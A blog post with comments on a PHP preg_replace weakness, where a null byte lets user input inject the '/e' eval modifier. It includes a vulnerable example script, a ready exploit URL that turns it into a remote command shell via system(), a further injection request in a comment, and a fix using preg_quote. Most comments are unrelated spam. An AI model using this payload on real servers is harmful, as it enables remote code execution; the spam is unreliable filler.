Preg_replace naturally has the ability to evaluate it's second argument as PHP code if the "e" modifier is present in the pattern in it's first argument. But preg_replace is very strict regarding the syntax of supplied patterns. Normally there should be no way to escape from in between the "/" delimiters and inject the "e" modifier when the pattern is derived from user input, like in this example.
$pattern = '/omfglol'.$_GET['mypattern'].'/i';
$replacement = $_GET['replacement'];
$subject = 'omglolomglolnostop';
echo preg_replace($pattern,$replacement,$subject);
If you'll try to exploit this by injecting "test/e" into the middle of the pattern "/omfgloltest/e/i". The "/" that is present after "/e" in the pattern is not considered to be a valid modifier and an error will be thrown. "Warning: preg_replace(): Unknown modifier '/'"Lets have a look in PHP's source code. The, as of now, Current stable PHP 5.3.6. This is line 337 to 374 of ext/pcre/php_pcre.c containing the loop responsible for parsing modifiers in a pattern.
/* Parse through the options, setting appropriate flags. Display
a warning if we encounter an unknown modifier. */
while (*pp != 0) {
switch (*pp++) {
/* Perl compatible options */
case 'i': coptions |= PCRE_CASELESS; break;
case 'm': coptions |= PCRE_MULTILINE; break;
case 's': coptions |= PCRE_DOTALL; break;
case 'x': coptions |= PCRE_EXTENDED; break;
/* PCRE specific options */
case 'A': coptions |= PCRE_ANCHORED; break;
case 'D': coptions |= PCRE_DOLLAR_ENDONLY;break;
case 'S': do_study = 1; break;
case 'U': coptions |= PCRE_UNGREEDY; break;
case 'X': coptions |= PCRE_EXTRA; break;
case 'u': coptions |= PCRE_UTF8;
/* In PCRE, by default, \d, \D, \s, \S, \w, and \W recognize only ASCII
characters, even in UTF-8 mode. However, this can be changed by setting
the PCRE_UCP option. */
#ifdef PCRE_UCP
coptions |= PCRE_UCP;
#endif
break;
/* Custom preg options */
case 'e': poptions |= PREG_REPLACE_EVAL; break;
case ' ':
case '\n':
break;
default:
php_error_docref(NULL TSRMLS_CC,E_WARNING, "Unknown modifier '%c'", pp[-1]);
efree(pattern);
return NULL;
}
}
On line 339, the while loop loops until it encounters a null byte. So if "test/e" is followed by a null byte PHP will stop searching for other modifiers beyond that.
To turn the PHP example in the beginning of this post into a remote command shell one would use an url like this: http://www.example.com/pregvuln.php?mypattern=||/e%00&replacement=system($_GET['cmd']);&cmd=echo%20testing123
Note: The double pipes "||" in the pattern "||/e" makes it match anything. The pattern must match something or the code won't execute.
Edit: My initial tests where distorted by the Suhosin patch, which also protects the server from this type of attack.
All PHP versions, as of today, is vulnerable to this attack.
Solution
To defend against this type of attack, just follow best practice. User input should always be escaped using preg_quote before being used in a regexp pattern.This is a secured version of the example in the beginning of this post.
$pattern = '/omfglol'.preg_quote($_GET['mypattern'],'/').'/i';
$replacement = $_GET['replacement'];
$subject = 'omglolomglolnostop';
echo preg_replace($pattern,$replacement,$subject);
Or to defend against this at the server level, install Suhosin.
http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html
ReplyDelete....
However, even if there is no “e” modifier sometimes attackers still have possibility to evaluate code. It can be achieved by dropping off some part of regexp by putting null-byte into it. Let’s look at the same example, but a little bit modified:
(.*?)$regexp<\/tag>/", '\\1', $var);
?>
Maybe this example looks too naive, but currently aim is to show when null-byte attack could work. Now consider that vulnerable script accepts request like this:
http://www.example.com/index.php?re=<\/tag>/e
Great Article
DeleteCyber Security Projects for CSE Students
JavaScript Training in Chennai
Project Centers in Chennai
JavaScript Training in Chennai
@Vladimir
ReplyDeleteThank you. I'll add that link to the post.
Intressant och välskriven blogg! Det vore roligt att läsa vad din rekommendation är till databas-utvecklare generellt. Bör de satsa på prepared statements i hela sin stack? Är det PHP som är problemet? Hur kan vi göra LAMP-stacken säkrare?
ReplyDeletemvh
Kristofer Pettersson
@Kristofer Pettersson
ReplyDeleteHej.
Om man ser det ur databasadministratörens perspektiv så är förmodligen det enda h*n kan göra att påverka situationen att endast tillåta prepared statements.
Det jag egentligen tycker man skall göra är att lära PHP-kodarna det "rätta sättet" att kommunicera med en databas.
Det enklaste kan vara att tillverka en liten funktion som garanterat säkrar en variabel från oönskade injektioner, och sedan kräver att den funktionen alltid använda till alla variabler som på något sätt medverkar i ett SQL-kommando. Och om man har som standard att alltid göra på detta sättet så blir det betydligt enklare att bara läsa igenom koden och finna avvikelser där en injektion kan vara möjlig. Att altid göra på samma sätt har även fördelen att utvecklaren inte behöver tänka på om variabeln kan vara farlig eller ej. Hellre mysql_real_escape_string hundra gånger i onödan är en gång för lite.
Eftersom att du ställde frågan så planerar jag nu en liten blogpost med en sådan funktion som jag brukar rekomendera när jag som konsult kontrollerar andras PHP kod.
Lev Väl
/Mango
Holistic Medicine encompasses the wide array connected with natural AND ALSO visual therapies It will probably bring the body back for you to the balanced state, free associated with disease. these therapies may be used alone or, even further powerfully, together. Kyäni
ReplyDeleteApartments inside Alanya stay fairly cheep, inside spite connected with charges growing significantly. whilst ones market continues to be affected via recent financial events, It has proved to become much further robust in comparison with within a lot of other countries. because the new laws came in The stress allowing foreigners in order to buy land, both require AND ALSO expenses have increased. Prices, particularly along ones coast, usually are rising rapidly, AS WELL AS are needed to be able to progress to help do therefore over the next five to help eight years.It doesn't need to use an estate agent to find AND buy an Apartment throughout Alanya. However, many buyers Pick out to do, thus Just like estate agents cater to the catered Specifications of foreigners AND are aware of all the legal requirements. sooner committing to shopping the Apartment, you have to transaction no matter if You will discover any kind of amazing debts to the property. lägenheter i Alanya
ReplyDeleteContent Writing Company in Delhi
ReplyDeleteContent Writing Services in Delhi
Mobile App Development Company Delhi
PPC Company in Delhi
PPC Company in India
When it comes to your career prospects and bright future, Assignment Help takes the onus on itself to promote your growth in the right direction. So, that way you wouldn’t have to think twice before trusting us with your academic papers. Place an order with us now and reap the rewards of brilliantly written academic papers today. Assignment help, one of the leading academic solution providers in Australia, understands the challenges and extends a helping hand to the aspiring engineers who are willing to land a job in Australia.
ReplyDeleteSydney Assignment Help
Nowadays students from the school, college and universities look for Essay Help UK and Essay Helper UK services from the experts who can help them in solving their assignment in a manner that is required in college and universities.
ReplyDeletevé máy bay tết
ReplyDeletegiá vé máy bay đi Mỹ khứ hồi
ve may bay di Phap gia bao nhieu
mua vé máy bay đi hàn quốc giá rẻ
vé máy bay đi nhật giá rẻ 2020
vé máy bay sang anh
trang web vé máy bay giá rẻ
giá vé máy bay đi San Francisco
thời gian bay từ Việt nam sang Los Angeles
combo resort vinpearl nha trang
Nowadays students from the school, college and universities look for My Assignment Help Singapore and MyAssignmentHelp Singapore services from the experts who can help them in solving their assignment in a manner that is required in college and universities.
ReplyDeleteNowadays students from the school, college and universities look for Assignment Help Experts Canada and Assignment Experts Canada services from the experts who can help them in solving their assignment in a manner that is required in college and universities.
ReplyDeleteMua vé giá rẻ tại Aivivu, tham khảo
ReplyDeletemua ve may bay di my
vé máy bay từ mỹ về việt nam
giá vé máy bay từ anh về việt nam
máy bay từ pháp về việt nam
Nowadays students from the school, college and universities look for Essay Help UK and Essay Helper UK services from the experts who can help them in solving their assignment in a manner that is required in college and universities. pakistani designer suits online , pakistani designer suits online
ReplyDeleteThis coding is very helpful for developers and especially beginners can improve their knowledge and earn some good amount. Do you want to learn coding? Buy Dissertation Online.
ReplyDeleteI really appreciate your effort and perfection in creating your blog! Good job.make my dissertation
ReplyDeleteExcellent content ,Thanks for sharing this .,
ReplyDeleteLeanpitch provides online training in CSPO, everyone can use it wisely.
Product owner certification
Product owner training
Thanks for sharing this.,
ReplyDeleteLeanpitch provides online training in Scrum Master, everyone can use it wisely.
Join Leanpitch 2 Days CSM Certification Workshop in different cities.
Scrum master certification
csm certification
Thanks for sharing this.,
ReplyDeleteLeanpitch provides online training in Scrum Master, everyone can use it wisely.
Join Leanpitch 2 Days CSM Certification Workshop in different cities.
certified scrum master certification
agile scrum master certification
bridal bed sheet design with price
ReplyDeletegul ahmed razai
Shop
brown blazer school uniform
Ladies Shirt
Unstitched Kurti
bed sheet blanket set
comforter set
velvet bed sheet design
bed sheet design
ReplyDeleteExcellent content ,Thanks for sharing this .,
Leanpitch provides online training in ICP ACC, everyone can use it wisely.
Agile coach certification
Agile coach certification online
Excellent content ,Thanks for sharing this .,
ReplyDeleteLeanpitch provides online training in ICP ACC, everyone can use it wisely.
ICP ACC certification
Certified Agile coach
ReplyDeleteExcellent content ,Thanks for sharing this .,
Leanpitch provides online training in ICP ACC, everyone can use it wisely.
ICP ACC certification
ICP ACC certification online
Certified Agile coach certification
ReplyDeleteExcellent content ,Thanks for sharing this .,
Leanpitch provides online training in ICP ACC, everyone can use it wisely.
Certified Agile coach certification
Agile coach
ReplyDeleteExcellent content ,Thanks for sharing this .,
Leanpitch provides online training in ICP ACC, everyone can use it wisely.
Agile coach certification
ICP ACC certification online
Excellent content ,Thanks for sharing this .,
ReplyDeleteLeanpitch provides online training in CSPO, everyone can use it wisely.
CSPO certification
CSPO TRAINING
ReplyDeleteExcellent content ,Thanks for sharing this .,
Online teaching tools
Virtual classroom setup
Excellent content ,Thanks for sharing this .,
ReplyDeleteSkills for online teachers
Free teaching tools
24x7 availability
ReplyDeleteWe understand that students can ask questions at any time of the day. That's why, unlike other platforms, we provide Cheap Assignment help all the time. In addition, a dedicated team of customer support is always available to address student questions and provide immediate solutions.
Cheap Assignment Help
The team behind our awesome assignment help USA service maintains strict policies against plagiarism. Collaborating with our writers by availing Assignment Help in United States will not only help you with your grades but also your essay assignment skill will be good.
ReplyDeletemakanan rendah kalori adalah makanan yang mengandung kalori rendah sehingga saya tidak perlu memikirkan kalori sebelum mengonsumsinya. Low-calorie food is food that contains low calories so I don't need to worry about calories before eating.
ReplyDeleteWe only use your information in order to fulfill our obligations to you and for administration purposes. Heathrow airport taxi service and especially taxi to Heathrow terminal 5 We will only disclose sufficient information to our drivers and sub-contractors in order that they can provide the service requested.We will never sell or disclose your information to a 3rd party except where required by law.
ReplyDeleteThis material is forged, and top-notch $500 crossbow, to create the best of all worlds. Second, the Lever Cam redefines efficiency, and allows archers to boost kinetic energy and momentum to higher levels. Third, the ETS (Energy Transfer System) patent pending cable system enhances the cable system dynamics, which increases performance and efficiency by pre-loading the cables and limiting the movement of them. top-notch $1000 crossbow
ReplyDeleteThere are plenty of jobs that may fit your availability. This is easier said than done. So if you have 3 hours spare or a day free to travel 10 miles, Builders south east London or building contractors south London your next job is waiting for you. Why not join us today! It’s free for 14 days and then only costs £20/month pay as you go to receive unlimited enquiries.
ReplyDeleteWhether it’s a late night job or an early day call, we have executive cars and professional Wimbledon chauffeurs and Heathrow chauffeurs to complete urgent jobs and give you a comfortable transport.
ReplyDeleteThere’s probably not a Best mig welder under $1000 in this class that has more satisfied customers, a big reason it’s the selection for Best MIG. If you don’t have a lot to spend, then I would recommend taking a look at our cheap MIG welders for under Best mig welder under $500 guide.
ReplyDeleteThey will be able to learn several things and also will be able to use and improve their skills. If they are working on a tax law assignment, then it is suggested to do the whole work independently and not get assistance from Machine Learning homework Help
ReplyDeleteFantasyDangal has become most popular new fantasy app. In a very short time, the FantasyDangal app has gained a lot of popularity. The app is available in nine languages and offers a range of bonuses and offers to users who want to play new fantasy cricket app, win cash, and stay in the game. The app also offers different modes such as Safe Play and Regular play that make it easy for users.
ReplyDeleteDangal Games is the best place for you to be entertained and to make some earnings with online real money earning games in India. Are you looking for a fun way to kill time and earn money through games? You can easily earn money playing games on DangalGames! There is a chance that you can play games and earn money in India.
ReplyDeleteBy the way, it would be very interesting if foreign departments use PHP code to send their cyphers. It is not easy for everyone to understand PHP code, and I want your opinion on this. Buy Essay Online
ReplyDeleteThere is no doubt that interaction between learners and instructors yields good outcomes. Online Q&A Services Providers are part and parcel of any academic-related activities.The primary intention of the said exercise is to enhance the understanding of the subject knowledge. Therefore, clients are on the lookout for interactive Q&A services to draw the attention of modern learners. It is the best bait for learners. best ebook conversion services
ReplyDeleteK12 Manual Development Services define objectives for learning for the students of K12 in such an excellent manner. It aims to teach both theoretical and practical knowledge to the students. The online services that we provide are both subjects centred as well as learning-centred. The guides, manuals, lesson plans, latest syllabus, modules with interactive and live sessions provided here are just up to the mark and highly student-friendly. video solution development services
ReplyDeleteProfessional Explainer Videos have taken centerstage due to their wide appeal. It can provide a message to different audience segments belonging to various cultural unfettered by the geographic boundaries. Businesses give a lot of emphasis to reaching the target customers through video to align themselves relevant in the cut-throat competitive world. Therefore, explainer videos servicesare there to satisfy the audience's dreams.
ReplyDeleteDeliver online tutoring
Thanks for sharing this article with us.
ReplyDeletealso, visit here sell old iphones
Thanks for sharing! My friend is researching this topic, so your blog helps him a lot. assignment help ireland
ReplyDelete
ReplyDeleteThanks for your page! Your share information it helped me alot
crankshaft polishing
Thanks for your page! Your share information it helped me alot
ReplyDeletecrankshaft straightening
crankshaft straightening
Your article is well written and simple to understand.You make excellent points.Thank you for sharing amazing blog.Nice.....
ReplyDelete